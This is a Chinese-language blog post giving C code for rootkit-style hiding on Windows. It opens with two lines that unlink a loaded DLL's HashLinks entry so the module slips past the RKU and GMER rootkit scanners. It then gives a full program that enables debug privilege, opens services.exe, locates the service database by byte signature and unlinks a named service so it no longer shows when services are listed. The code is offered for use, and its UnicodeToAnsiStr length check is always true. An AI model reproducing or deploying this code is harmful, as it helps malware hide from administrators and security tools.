Chinadu's Blog

来自：ASM

过RKU,GMAER的dll模块检查的代码，就两句：

ldm->HashLinks.Blink->Flink = ldm->HashLinks.Flink;
ldm->HashLinks.Flink->Blink = ldm->HashLinks.Blink;

//下面是一个ring3下隐藏服务的代码，也是抄别人小小修改了一下而已的：

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#include <Tlhelp32.h>

// 几个Undocument的结构

typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

typedef struct _SC_SERVICE_PROCESS

{

PSC_SERVICE_PROCESS Previous;

PSC_SERVICE_PROCESS Next;

WCHAR *ImagePath;

DWORD Pid;

DWORD NumberOfServices;

// ...

} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE

{

PSC_DEPEND_SERVICE Next;

DWORD Unknow;

PSC_SERVICE_RECORD Service;

// ...

} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD

{

PSC_SERVICE_RECORD Previous;

PSC_SERVICE_RECORD Next;

WCHAR *ServiceName;

WCHAR *DisplayName;

DWORD Index;

DWORD Unknow0;

DWORD sErv;

DWORD ControlCount;

DWORD Unknow1;

PSC_SERVICE_PROCESS Process;

SERVICE_STATUS Status;

DWORD StartType;

DWORD ErrorControl;

DWORD TagId;

PSC_DEPEND_SERVICE DependOn;

PSC_DEPEND_SERVICE Depended;

// ...

} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

int WINAPI UnicodeToAnsiStr(OUT char *lpChar, IN WCHAR *lpWideChar)

{

int iLen;

iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, NULL, 0, NULL, NULL);

if ((iLen > 1) || (iLen < 20))

{

ZeroMemory(lpChar, 40);

iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, lpChar, iLen, NULL, NULL);

}

return iLen;

}

BOOL SetDebugPrivilege()

{

BOOL bRet = FALSE;

HANDLE hToken = NULL;

LUID luid;

TOKEN_PRIVILEGES tp;

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))

{

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);

}

if (hToken) CloseHandle(hToken);

return bRet;

}

DWORD GetProcessIdByName(char *Name)

{

BOOL bRet = FALSE;

HANDLE hProcessSnap = NULL;

PROCESSENTRY32 pe32 = { 0 };

DWORD Pid = -1;

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hProcessSnap, &pe32))

{

do

{

if (!lstrcmpi(pe32.szExeFile, Name ) )

{

Pid = pe32.th32ProcessID;

break;

}

}

while (Process32Next(hProcessSnap, &pe32));

}

CloseHandle(hProcessSnap);

return Pid;

}

// 修改内存属性为指定值

void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)

{

MEMORY_BASIC_INFORMATION mbi;

DWORD dwOldProtect, dwWritten;

VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));

VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);

WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);

VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);

}

//寻找服务链表

PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)

{

char FileName[MAX_PATH+1];

HANDLE hFile, hFileMap;

UCHAR * pMap;

DWORD dwSize, dwSizeHigh, i, dwRead;

SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;

GetSystemDirectory( FileName, MAX_PATH );

strcat( FileName,"\\Services.exe");

hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,

NULL, OPEN_EXISTING, 0, NULL);

if (INVALID_HANDLE_VALUE == hFile) return NULL;

dwSizeHigh = 0;

dwSize = GetFileSize(hFile, &dwSizeHigh);

hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

if (NULL == hFileMap) return NULL;

pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);

if (NULL == pMap) return NULL;

dwSize -= 12;

for (i=0; i<dwSize; ++i)

{

// 搜索services!ScGetServiceDatabase特征代码

if (*(DWORD*)(pMap+i) == 0xa1909090 &&

*(DWORD*)(pMap+i+8) == 0x909090c3)

{

if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&

ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&

SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征

{

pRet = pSvcRd;

break;

}

}

}

UnmapViewOfFile(pMap);

CloseHandle(hFileMap);

CloseHandle(hFile);

//printf( "addr: 0x%08x\n", (DWORD *)pRet );

return pRet;

}

// 隐藏服务

BOOL HideService(char *Name)

{

DWORD Pid;

HANDLE hProcess;

SC_SERVICE_RECORD SvcRd, *pSvcRd;

DWORD dwRead, dwNameSize;

WCHAR SvcName[MAX_PATH] = { 0 };

char lpSvcName[256] = {0};

dwNameSize = strlen(Name)*2; //UNICODE的话，长度要乘以2

if (dwNameSize > sizeof(SvcName))

{

return FALSE;

}

Pid = GetProcessIdByName("Services.exe");

if (Pid == -1)

{

printf("get pid error\r\n");

return FALSE;

}

if(!SetDebugPrivilege())

{

printf("SetDebugPrivilege error\r\n");

return FALSE;

}

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);

if (NULL == hProcess)

{

printf("OpenProcess error:%d\r\n",GetLastError());

return FALSE;

}

pSvcRd = FindFirstServiceRecord(hProcess);

if (NULL == pSvcRd)

{

printf("FindFirstServiceRecord error\r\n");

CloseHandle(hProcess);

return FALSE;

}

do

{

if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&

ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))

{

//OutputDebugStringW(SvcName);

// 匹配服务名

memset(lpSvcName,0,sizeof(lpSvcName));

UnicodeToAnsiStr(lpSvcName,SvcName);

if (lstrcmpi(lpSvcName, Name) == NULL)

{

// 从链表中断开（一般来说ServiceRecord是可写的，但还是先改保护属性以防万一）

ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);

ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);

CloseHandle(hProcess);

return TRUE;

}

}

else

{

break;

}

}

while (pSvcRd = SvcRd.Next);

if( NULL != hProcess )

{

CloseHandle(hProcess);

}

return FALSE;

}

int main()

{

HideService("Alerter");

return 0;

}